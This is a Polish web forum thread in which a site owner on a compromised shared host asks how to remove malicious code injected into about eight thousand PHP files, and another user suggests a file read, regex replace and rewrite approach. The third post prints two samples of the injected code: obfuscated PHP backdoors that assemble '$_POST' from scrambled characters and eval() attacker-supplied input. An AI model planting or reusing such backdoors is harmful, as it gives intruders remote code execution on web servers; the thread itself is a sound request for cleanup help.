![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%) ![]() ![]() |
Witam, opadłem dzis z sił dlatego piszę tutaj,
oczywiście jeden z popularnych hostingów Polskich ma nawał wirusów i też padłem ofiarą. Mam tysiące zainfekowanych plików, wtym tych potrzebnych do życia moim stronom . Infekcja objawia się na dopisaniu do plików do 1 linii zaraz po <?php kawałka kodu. Jak na złość każdy jest inny, i nie mogę go zrobić przez SSH, ponieważ wyszuka mi jeden plik. Pomyślałem że może napisać skrypt który otworzył by wszystkie pliki (listę plików mam w pliku txt) i zamieniłby pierwszą linię kody <?php <kod wirusa> na samo <?php Tylko za cholere niestety nie wiem jak się do tego zabrać, pomoże "któś cuś" ? Bo na ten moment wiążę już sobie pętle... |
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%) ![]() ![]() |
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć file_put_contents zeby zapisać plik W razie problemów pisz. Ten post edytował kapslokk 11.03.2016, 18:50:25 |
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%) ![]() ![]() |
file_get_contents zeby otworzyc plik, str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć file_put_contents zeby zapisać plik W razie problemów pisz. Ta tylko wyrażenie regularne w tym przypadku to jeszcze większa kombinacja.. jest zainfekowanych 8 tysięcy plików. 1 jednym pliku jest tak: $kcqw0 = "posetru_"; $zcvk82=$kcqw0[2]. $kcqw0[4]. $kcqw0[5]. $kcqw0[4]. $kcqw0[1].$kcqw0[6].$kcqw0[0]. $kcqw0[0]. $kcqw0[3].$kcqw0[5];$yzz8 =$zcvk82 ( $kcqw0[7]. $kcqw0[0].$kcqw0[1].$kcqw0[2]. $kcqw0[4]) ;if( isset (${$yzz8 } ['qe91e7a'] ) ){eval (${$yzz8} ['qe91e7a' ] ) ; }?> w 2 pliku jest tak: <?php $npwu79 ="_tpos";$esz7 =strtoupper ($npwu79[0]. $npwu79[2] . $npwu79[3]. $npwu79[4].$npwu79[1]);if ( isset(${ $esz7 }[ 'qd335c3'] ) ){eval(${$esz7 }['qd335c3' ] );}?> W każdym praktycznie inaczej, wydaje mi się że wyrażenie do tego jest ciężkie do stworzenia dlatego pomyślałem że podmianka 1 lini byłaby najlepsza ... /najłatwiejsza |
|
|
![]() ![]() |
![]() |
Aktualny czas: 4.10.2025 - 18:40 |